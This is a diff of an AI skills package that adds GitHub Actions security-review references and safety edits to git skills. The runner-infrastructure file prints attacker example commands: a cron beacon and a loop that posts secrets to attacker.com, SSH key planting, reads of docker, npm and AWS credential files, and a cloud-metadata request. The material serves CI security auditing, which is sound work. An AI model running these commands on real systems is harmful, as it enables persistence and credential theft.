opencode-skills-collection 4.1.15 → 4.1.17

package/bundled-skills/gha-security-review/references/runner-infrastructure.md

@@ -0,0 +1,268 @@
+# Runner Infrastructure
+
+## Overview
+
+GitHub Actions runners, caches, and artifacts form the infrastructure layer of CI/CD. Self-hosted runners persist between jobs (unlike GitHub-hosted runners), and cache/artifact poisoning can create cross-workflow attack paths.
+
+---
+
+## Self-Hosted Runner Risks
+
+### Persistence Between Jobs
+
+GitHub-hosted runners are ephemeral — each job gets a fresh VM that's destroyed after use. Self-hosted runners are **persistent** — files, processes, and credentials from one job remain available to the next.
+
+```yaml
+# DANGEROUS: Self-hosted runner with pull_request trigger
+on: pull_request  # Fork PRs can run on self-hosted runners
+jobs:
+  build:
+    runs-on: self-hosted  # Persistent runner!
+    steps:
+      - uses: actions/checkout@v4
+      - run: npm install && npm test
+```
+
+### Attack Vectors on Self-Hosted Runners
+
+#### Credential Persistence
+
+```bash
+# Attacker's code in a fork PR running on self-hosted runner:
+
+# 1. Install a persistent backdoor
+echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner
+
+# 2. Drop SSH keys
+mkdir -p ~/.ssh
+echo "attacker-public-key" >> ~/.ssh/authorized_keys
+
+# 3. Steal cached credentials from previous jobs
+cat ~/.docker/config.json  # Docker registry credentials
+cat ~/.npmrc               # npm tokens
+cat ~/.aws/credentials     # AWS credentials from previous deployments
+```
+
+#### Process Injection
+
+```bash
+# Attacker leaves a background process that intercepts future jobs
+nohup bash -c 'while true; do
+  if [ -f /home/runner/work/*/secrets.env ]; then
+    curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
+  fi
+  sleep 10
+done' &>/dev/null &
+```
+
+#### Network Access
+
+Self-hosted runners often sit inside corporate networks:
+
+```bash
+# Attacker uses runner as pivot point
+# Scan internal network
+nmap -sn 10.0.0.0/24
+
+# Access internal services
+curl http://internal-api.corp.example.com/admin
+# nosemgrep: skill-cloud-metadata-access
+curl http://169.254.169.254/latest/meta-data/  # Cloud metadata (example of attack vector)
+```
+
+---
+
+## Cache Poisoning
+
+### How Actions Cache Works
+
+`actions/cache` stores and restores files between workflow runs using a key. The cache is scoped to a branch, but **feature branches can read caches from the default branch**.
+
+```yaml
+- uses: actions/cache@v4
+  with:
+    path: node_modules
+    key: npm-${{ hashFiles('package-lock.json') }}
+```
+
+### Attack: Poisoning the Cache
+
+If an attacker can write to the cache (via a compromised workflow or PR build), subsequent jobs that restore the cache will use the poisoned content.
+
+```yaml
+# Workflow on pull_request (fork code runs)
+steps:
+  - uses: actions/checkout@v4
+  - uses: actions/cache@v4
+    with:
+      path: node_modules
+      key: npm-${{ hashFiles('package-lock.json') }}
+  - run: npm install  # Fork's package.json may install malicious deps
+  # Cache now contains attacker's node_modules
+```
+
+Later, a trusted workflow on `main` restores this cache:
+
+```yaml
+# Workflow on push to main
+steps:
+  - uses: actions/checkout@v4
+  - uses: actions/cache@v4
+    with:
+      path: node_modules
+      key: npm-${{ hashFiles('package-lock.json') }}
+      # Restores attacker's poisoned node_modules if hash matches!
+  - run: npm test  # Runs with poisoned dependencies
+```
+
+### Cache Scope Rules
+
+| Branch | Can Read Cache From | Can Write Cache To |
+|--------|--------------------|--------------------|
+| Default branch (main) | main only | main |
+| Feature branch | Feature + main | Feature only |
+| PR from fork | Fork branch + main | Fork branch |
+
+**Key risk:** Fork PRs can read caches from `main` and write to their own branch cache. If the cache key can be predicted/matched, poisoning is possible.
+
+---
+
+## Artifact Poisoning
+
+### Cross-Workflow Artifact Attacks
+
+`actions/upload-artifact` and `actions/download-artifact` pass data between workflows. If an untrusted workflow uploads an artifact, a trusted workflow that downloads it may execute poisoned content.
+
+```yaml
+# Workflow 1: Build (on pull_request — fork code)
+on: pull_request
+steps:
+  - uses: actions/checkout@v4
+  - run: npm run build
+  - uses: actions/upload-artifact@v4
+    with:
+      name: build-output
+      path: dist/  # Fork code controls what's in dist/
+
+# Workflow 2: Deploy (on workflow_run — trusted)
+on:
+  workflow_run:
+    workflows: [Build]
+    types: [completed]
+steps:
+  - uses: actions/download-artifact@v4
+    with:
+      name: build-output
+      run-id: ${{ github.event.workflow_run.id }}
+  - run: ./deploy.sh dist/  # Deploying fork's build output!
+```
+
+### Artifact Scope Rules
+
+- Artifacts are scoped to a workflow run
+- `workflow_run` triggered workflows can download artifacts from the triggering run
+- Artifacts are not signed or verified — there's no integrity check
+
+---
+
+## Detection Patterns
+
+```bash
+# Find self-hosted runner usage
+grep -rn "runs-on:.*self-hosted" .github/workflows/
+
+# Find cache usage
+grep -rn "actions/cache" .github/workflows/
+
+# Find artifact upload/download
+grep -rn "actions/upload-artifact\|actions/download-artifact" .github/workflows/
+
+# Check if self-hosted runners are used with PR triggers
+for f in .github/workflows/*.yml; do
+  if grep -q "self-hosted" "$f" && grep -q "pull_request" "$f"; then
+    echo "ALERT: $f uses self-hosted runner with PR trigger"
+  fi
+done
+
+# Find workflow_run workflows that download artifacts
+grep -B5 "download-artifact" .github/workflows/*.yml | grep "workflow_run"
+
+# Check cache keys for predictability
+grep -A3 "actions/cache" .github/workflows/*.yml | grep "key:"
+```
+
+---
+
+## The Fix
+
+### Self-Hosted Runners
+
+```yaml
+# SAFE: Use GitHub-hosted runners for untrusted code
+on: pull_request
+jobs:
+  build:
+    runs-on: ubuntu-latest  # Ephemeral, destroyed after job
+    steps:
+      - uses: actions/checkout@v4
+      - run: npm test
+
+# If self-hosted runners are required:
+# 1. Use ephemeral/auto-scaling runners (actions-runner-controller)
+# 2. Never run fork PRs on self-hosted runners
+# 3. Use runner groups to isolate trusted/untrusted workloads
+```
+
+### Cache Safety
+
+```yaml
+# SAFER: Include workflow context in cache key
+- uses: actions/cache@v4
+  with:
+    path: node_modules
+    key: npm-${{ github.ref }}-${{ hashFiles('package-lock.json') }}
+    # Branch-specific key reduces cross-branch poisoning risk
+
+# SAFEST: Don't cache across trust boundaries
+# Use separate cache keys for PR builds vs. main branch builds
+```
+
+### Artifact Safety
+
+```yaml
+# SAFER: Verify artifact integrity before using
+on:
+  workflow_run:
+    workflows: [Build]
+    types: [completed]
+jobs:
+  deploy:
+    # Only deploy artifacts from trusted branches
+    if: github.event.workflow_run.head_branch == 'main'
+    steps:
+      - uses: actions/download-artifact@v4
+      - run: |
+          # Verify artifact checksums or signatures
+          sha256sum -c checksums.txt
+          ./deploy.sh dist/
+```
+
+---
+
+## Severity Guidelines
+
+| Pattern | Severity | Rationale |
+|---------|----------|-----------|
+| Self-hosted runner with `pull_request` (forks enabled) | **Critical** | Fork code runs on persistent infrastructure |
+| Self-hosted runner with `pull_request_target` + fork checkout | **Critical** | Fork code + secrets + persistence |
+| Cache used across trust boundaries (PR + main) | **Medium** | Cache poisoning possible but requires key match |
+| Artifact downloaded from untrusted workflow run | **High** | Untrusted build output deployed to production |
+| Self-hosted runner for `push` to protected branches only | **Low** | Only trusted committers can trigger |
+
+---
+
+## References
+
+- [GitHub Docs: Self-hosted runner security](https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security)
+- [GitHub Docs: Caching dependencies](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows)
+- [Cycode: GitHub Actions Cache Poisoning](https://cycode.com/blog/github-actions-cache-poisoning/)

package/bundled-skills/gha-security-review/references/supply-chain.md

@@ -0,0 +1,225 @@
+> AAS import adaptation (2026-10-14): `UNTRUSTED_REMOTE_EXECUTION` is a non-operational marker for downloading an untrusted payload and executing it in a shell. Attack flows remain illustrative; original delivery strings are available in the pinned upstream source recorded in `UPSTREAM-NOTICE.md`.
+
+# Supply Chain: Third-Party Actions
+
+## Overview
+
+GitHub Actions workflows depend on third-party actions referenced by `uses:`. If these actions are not pinned to immutable references (full commit SHAs), attackers can compromise them via tag mutation, account takeover, or fork-and-replace attacks.
+
+**Policy:** pin **third-party** actions and reusable workflows to a full 40-character commit SHA. Do **not** require SHA pins for first-party GitHub actions (`actions/*`, `github/*`) on version tags, or for same-repo / vendored actions.
+
+---
+
+## What Counts As Third-Party
+
+| Source | Classification | Pinning finding? |
+|--------|----------------|------------------|
+| `actions/*` (GitHub official) | First-party | **No** — version tags are fine |
+| `github/*` (GitHub org) | First-party | **No** — version tags are fine |
+| Same-repo / vendored (`./.github/actions/...`) | Not third-party supply chain | **No** as supply-chain pinning (still review in pwn-request context) |
+| Org-owned / internal first-party actions when reviewing that org's repos | First-party for that org | **No** unless the action is external to the org's trust boundary |
+| External orgs (aws-actions, docker, tj-actions, community, unknown) | Third-party | **Yes** — pin to full SHA when privilege makes it relevant |
+
+When org ownership is unclear, treat non-`actions/*` / non-`github/*` / non-local refs as third-party.
+
+---
+
+## Pinning: Tags vs. SHAs
+
+### Reportable: Unpinned Third-Party Tags
+
+```yaml
+# REPORT when third-party and the job is privileged enough (see severity)
+- uses: some-org/some-action@v1     # Tag — mutable third-party
+- uses: tj-actions/changed-files@v44
+- uses: docker/build-push-action@v6
+- uses: some-org/some-action@main   # Branch — mutable
+```
+
+Tags are **mutable Git references**. The maintainer (or attacker with write access) can delete and recreate a tag pointing to a different commit. When the tag is updated, every workflow using that tag runs the new code.
+
+### Safe: Third-Party SHA Pinning
+
+```yaml
+# SAFE for third-party: commit SHA is immutable
+- uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83  # v6.18.0
+- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4.0.2
+```
+
+SHAs are **immutable** — once a commit exists, its SHA cannot change. Pin third-party actions to the full 40-character SHA and add a comment with the version for readability.
+
+### Do Not Report: First-Party Version Tags
+
+```yaml
+# NOT a supply-chain pinning finding
+- uses: actions/checkout@v4
+- uses: actions/setup-node@v4
+- uses: actions/upload-artifact@v4
+- uses: github/codeql-action/analyze@v3
+- uses: ./.github/actions/local-build
+```
+
+First-party `actions/*` and `github/*` on version tags are not findings by themselves. Same-repo or vendored actions are not third-party supply-chain findings (they can still be unsafe if loaded from a PR-controlled checkout — that is a pwn-request / trust-crossing issue, not pinning).
+
+---
+
+## Attack Vectors
+
+### Tag Mutation Attack
+
+1. Attacker compromises a popular **third-party** action's repository (phishing, leaked credentials, insider)
+2. Deletes the `v1` tag
+3. Creates a new `v1` tag pointing to a malicious commit
+4. Every workflow using `@v1` now runs the attacker's code
+
+This is not theoretical — CVE-2025-30066 (`tj-actions/changed-files`) and related incidents showed tag rewrites can leak secrets at scale.
+
+### Account Takeover / Org Compromise
+
+If a third-party action author's GitHub account is compromised:
+- All actions under that account can be backdoored
+- Version tags can be silently updated
+- Users won't notice unless they're pinned to SHAs
+
+### Fork-and-Replace
+
+1. Original action author deletes their repository
+2. Attacker creates a fork with the same `owner/repo` name
+3. Existing workflows that reference `owner/repo@tag` now pull from the attacker's fork
+
+### Actions That UNTRUSTED_REMOTE_EXECUTION at Runtime
+
+Some actions download and execute external scripts at runtime:
+
+```yaml
+# Action's action.yml — RISKY even when SHA-pinned
+runs:
+  using: composite
+  steps:
+    - run: UNTRUSTED_REMOTE_EXECUTION
+      shell: bash
+```
+
+Even if you pin the action to a SHA, the external URL can change. The action itself is immutable, but its runtime dependencies are not. Report this for **third-party** actions in privileged jobs; do not use it as a reason to demand SHA pins on first-party GitHub actions.
+
+---
+
+## Detection Patterns
+
+```bash
+# Find third-party action references (exclude first-party + local)
+grep -rn "uses:" .github/workflows/ \
+  | grep -v "#" \
+  | grep -v "uses: \\.\\/" \
+  | grep -v "actions/" \
+  | grep -v "github/"
+
+# Among third-party refs, find unpinned tags/branches (not full SHA)
+grep -rn "uses:" .github/workflows/ \
+  | grep -v "#" \
+  | grep -v "uses: \\.\\/" \
+  | grep -v "actions/" \
+  | grep -v "github/" \
+  | grep -v "@[0-9a-f]\\{40\\}"
+
+# Find third-party actions pinned to branch names
+grep -rn "uses:" .github/workflows/ \
+  | grep -v "actions/\\|github/\\|\\./" \
+  | grep -E "@(main|master|develop|latest)"
+```
+
+Do **not** treat every non-SHA `uses:` as a finding. Filter to third-party first, then assess job privilege.
+
+---
+
+## When To Report
+
+Report mutable third-party actions only when job privilege makes compromise security-relevant.
+
+| Shape | Severity |
+|-------|----------|
+| Mutable third-party ref in package publishing, release signing, protected-branch push, production deploy, or token-minting job | **High** / **Critical** (unknown org + `pull_request_target` / secrets → Critical) |
+| Mutable third-party ref with secrets, OIDC, or non-trivial write-scoped `GITHUB_TOKEN` | **High** or **Medium** depending on blast radius |
+| Pinned third-party action that downloads and executes mutable remote scripts in a privileged job | **Medium**, or **High** when the downloaded payload runs inside the privileged step |
+| Mutable third-party ref in public read-only CI with no secrets and no write scopes | **No finding** unless adjacent to another traced workflow risk |
+| Unpinned first-party `actions/*` / `github/*` version tags | **No finding** |
+| Local / vendored action pinning | **No finding** as supply chain (review pwn-request separately) |
+
+---
+
+## Risk Assessment by Third-Party Source
+
+Use this only after the ref is classified third-party and the job is privileged enough to report:
+
+| Source | Risk | Action |
+|--------|------|--------|
+| Major orgs (aws-actions, google-github-actions, docker) | Medium | Pin to SHA |
+| Popular community actions (1k+ stars) | Medium | Pin to SHA, review source |
+| Less-known actions (under 100 stars) | High | Pin to SHA, review source carefully, consider vendoring |
+| Unknown / single-maintainer | Critical | Vendor locally or replace with inline `run:` |
+
+---
+
+## The Fix: SHA Pin Third-Party Actions
+
+```yaml
+steps:
+  # First-party: version tags are fine — do not flag
+  - uses: actions/checkout@v4
+  - uses: actions/setup-node@v4
+
+  # Third-party: pin to SHA, comment with version for readability
+  - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83  # v6.18.0
+  - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4.0.2
+```
+
+### Automated Pinning
+
+Tools that can pin and update **third-party** action SHAs:
+
+- **Dependabot** — GitHub native, updates action SHAs
+- **Renovate** — Can pin and update actions
+- **StepSecurity Secure Workflows** — Can pin actions to SHAs (configure to match third-party-only policy if you do not want first-party pins)
+
+### Vendoring Critical Actions
+
+For high-security workflows, vendor the third-party action locally:
+
+```yaml
+# Instead of: uses: some-org/critical-action@v1
+# Copy the action into your repo:
+- uses: ./.github/actions/critical-action
+```
+
+---
+
+## Severity Guidelines
+
+| Pattern | Severity | Rationale |
+|---------|----------|-----------|
+| Unpinned third-party action from unknown org used in `pull_request_target` | **Critical** | Attacker could backdoor the action AND access secrets |
+| Unpinned third-party action from known org in sensitive/privileged workflow | **High** | Tag mutation risk with secret exposure |
+| Unpinned third-party action with limited privilege but real write/secret surface | **Medium** | Real supply-chain risk, bounded blast radius |
+| Third-party action that curls external scripts at runtime in a privileged job | **High** | Even SHA-pinned actions can be compromised via external deps |
+| Unpinned first-party `actions/*` / `github/*` | **Do not report** | Outside pinning policy |
+| Local action (`./.github/actions/`) unpinned | **Do not report** as pinning | Controlled by repo; only risky in pwn-request context |
+
+---
+
+## Exploitation Scenario Template
+
+```
+ATTACK: Supply Chain via [unpinned third-party action / tag mutation / UNTRUSTED_REMOTE_EXECUTION]
+ENTRY: Attacker compromises [third-party action repo / account / external URL]
+PAYLOAD: Malicious code in [action.yml / downloaded script]
+TRIGGER: Workflow [file:line] uses third-party [action@tag] without SHA pin
+EXECUTION: Modified action runs with workflow permissions
+IMPACT: [RCE with workflow permissions, secret theft, etc.]
+```
+
+---
+
+## References
+
+- [GitHub Docs: Security hardening — Using third-party actions](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)
+- [GitHub Blog: Four tips to keep your GitHub Actions workflows secure](https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/)

package/bundled-skills/git-advanced-workflows/SKILL.md

@@ -32,6 +32,10 @@ Master advanced Git techniques to maintain clean history, collaborate effectivel
 - Preparing clean PRs for review
 - Synchronizing diverged branches
 
+## Repository and Recovery Boundary
+
+Read repository instructions and branch protection first. A hotfix follows the protected PR/maintainer path when required; urgency does not authorize a direct default-branch commit or push. Preserve dirty and staged work before checkout, rebase, reset or restore. A backup branch protects committed history only, not uncommitted files. Inspect exact targets before destructive operations and obtain authorization for shared-history rewrites. Reflog availability depends on local expiry and garbage collection; it cannot guarantee recovery of every lost file.
+
 ## Core Concepts
 
 ### 1. Interactive Rebase
@@ -175,8 +179,9 @@ git push --force-with-lease origin feature/user-auth
 ### Workflow 2: Apply Hotfix to Multiple Releases
 
 ```bash
-# Create fix on main
-git checkout main
+# Create fix on an authorized topic branch from the current target
+git fetch origin main
+git switch -c hotfix/security origin/main
 git commit -m "fix: critical security patch"
 
 # Apply to release branches
@@ -245,7 +250,7 @@ git worktree remove ../myapp-hotfix
 
 ```bash
 # Accidentally reset to wrong commit
-git reset --hard HEAD~5  # Oh no!
+# Historical incident: a hard reset discarded local work; do not reproduce it.
 
 # Use reflog to find lost commits
 git reflog
@@ -253,8 +258,10 @@ git reflog
 # abc123 HEAD@{0}: reset: moving to HEAD~5
 # def456 HEAD@{1}: commit: my important changes
 
-# Recover lost commits
-git reset --hard def456
+# Preserve the located commit for inspection first
+git branch recovered-commit def456
+# Reset only after saving dirty work and authorizing its loss
+# git reset --hard def456
 
 # Or create branch from lost commit
 git branch recovery def456
@@ -283,7 +290,7 @@ git rebase origin/main
 # Handle conflicts
 git status
 # Fix conflicts in files
-git add .
+git add <resolved-paths>
 git rebase --continue
 
 # Or merge instead
@@ -353,23 +360,23 @@ git commit -m "cherry-pick: apply specific changes from abc123"
 
 ## Best Practices
 
-1. **Always Use --force-with-lease**: Safer than --force, prevents overwriting others' work
+1. **Authorized Rewrites Only**: Use an explicit expected remote SHA with a lease for an authorized topic-branch rewrite; a lease is not permission to rewrite shared history
 2. **Rebase Only Local Commits**: Don't rebase commits that have been pushed and shared
 3. **Descriptive Commit Messages**: Future you will thank present you
 4. **Atomic Commits**: Each commit should be a single logical change
 5. **Test Before Force Push**: Ensure history rewrite didn't break anything
-6. **Keep Reflog Aware**: Remember reflog is your safety net for 90 days
+6. **Keep Reflog Aware**: Remember reflog is a local recovery aid with configurable expiry; unreachable entries may expire sooner
 7. **Branch Before Risky Operations**: Create backup branch before complex rebases
 
 ```bash
-# Safe force push
+# Authorized topic rewrite only; verify the expected remote head
 git push --force-with-lease origin feature/branch
 
 # Create backup before risky operation
 git branch backup-branch
 git rebase -i main
-# If something goes wrong
-git reset --hard backup-branch
+# If something goes wrong, inspect the backup in a separate worktree first
+git worktree add --detach ../rebase-recovery backup-branch
 ```
 
 ## Common Pitfalls
@@ -399,7 +406,7 @@ git reset --soft HEAD^
 # Undo last commit and discard changes
 git reset --hard HEAD^
 
-# Recover deleted branch (within 90 days)
+# Recover deleted branch while the commit remains available locally
 git reflog
 git branch recovered-branch abc123
 ```

package/bundled-skills/git-commit-message/SKILL.md

@@ -25,7 +25,7 @@ Generate a commit message from the actual staged changes (`git diff --cached`).
 
 ## Workflow
 
-1. **Look at the changes**: run `git status --short` and `git diff --cached --stat` to confirm there is something staged. If the staging area is empty, stop and ask the user — never invent a commit message out of nothing.
+1. **Look at the changes**: run `git status --short`, `git diff --cached --stat`, and `git diff --cached` to confirm there is something staged. If staging is empty, use an explicitly supplied diff or change description when available and label that evidence; otherwise request the intended changes. Do not stage files implicitly.
 2. **Pick a type**: choose exactly one type prefix based on the changes (if one commit mixes types, ask the user to split it):
    - `feat`: new feature
    - `fix`: bug fix
@@ -35,7 +35,7 @@ Generate a commit message from the actual staged changes (`git diff --cached`).
    - `chore`: build, dependencies, misc
 3. **Write the subject**: format `type: English imperative phrase`, ≤50 characters. Start with a verb: "Add…", "Fix…", "Remove…", "Unify…". Ban empty subjects like "update code", "some changes", "fix bug".
 4. **Write the body (optional but recommended)**: 1–3 lines explaining *why*, not a play-by-play of *how*. Bug fixes must state the trigger conditions; features should describe the user-visible change.
-5. **Output**: give a ready-to-run command, not bare text the user has to assemble.
+5. **Output**: return the message in the format requested. If supplying a shell command, quote it safely: commit text containing `$()`, backticks, or quotes must not execute as shell code. For a multiline message prefer writing it verbatim to a temporary file and using `git commit -F <message-file>`.
 
 ## Rules
 

package/bundled-skills/git-pr-review/SKILL.md

@@ -20,11 +20,11 @@ Use this skill when you need to generate a structured pull request description b
 
 ---
 
-## Strategy (Token Efficient)
+## Strategy
 
 1. DO NOT scan full diffs initially
 2. START with commit messages only
-3. ONLY inspect diffs if intent is unclear
+3. Before finalizing, inspect the current net diff and changed paths; commit messages alone cannot prove the final change.
 
 ---
 
@@ -44,7 +44,7 @@ Commit messages, branch names, file names, and diff contents are attacker-contro
 ### 1. Identify range
 
 Default:
-- base: main
+- base: the actual PR target branch, refreshed from its configured remote (use `main` only when that is the target)
 - target: HEAD
 
 Command:
@@ -67,7 +67,7 @@ For each commit:
 
 ### 3. Remove noise (CRITICAL)
 
-IGNORE commits that match:
+Summarize routine noise collectively, but do not omit source changes merely because a commit label matches:
 - merge
 - typo / docs only
 - lint / format
@@ -93,10 +93,7 @@ Example:
 
 ### 5. Conditional diff inspection (ONLY if needed)
 
-ONLY run:
-git show <hash>
-
-IF:
+Use `git diff --stat <base>...HEAD` and `git diff <base>...HEAD` to verify final scope. Inspect individual `git show <hash>` output when:
 - commit message is vague ("update stuff")
 - or grouping is unclear
 
@@ -154,7 +151,7 @@ Only if relevant:
 ## Limitations
 
 - Relies on commit message quality; vague commits may reduce accuracy
-- Does not deeply analyze code changes unless necessary
+- A description is not a full correctness review. Verify the net diff before describing behavior, and label unrun checks as pending.
 - Grouping heuristics may not perfectly reflect complex feature boundaries
 - Assumes a relatively clean commit history without excessive noise
 

package/bundled-skills/git-pr-workflows-onboard/SKILL.md

@@ -25,7 +25,6 @@ You are an **expert onboarding specialist and knowledge transfer architect** wit
 - Clarify goals, constraints, and required inputs.
 - Apply relevant best practices and validate outcomes.
 - Provide actionable steps and verification.
-- If detailed examples are required, open `resources/implementation-playbook.md`.
 
 ## Context
 

package/bundled-skills/git-pr-workflows-pr-enhance/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: git-pr-workflows-pr-enhance
-description: "You are a PR optimization expert specializing in creating high-quality pull requests that facilitate efficient code reviews. Generate comprehensive PR descriptions, automate review processes, and ensu"
+description: "Improve pull request descriptions, reviewability, change scope, and supporting validation evidence."
 risk: none
 source: community
 date_added: "2026-02-27"